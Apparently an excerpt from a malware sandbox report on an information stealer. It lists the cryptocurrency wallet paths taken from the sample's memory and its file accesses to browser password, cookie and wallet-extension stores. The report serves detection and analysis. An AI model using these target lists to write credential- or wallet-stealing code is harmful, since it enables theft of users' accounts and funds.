Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2z8320.exe	String found in binary or memory: keystore
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
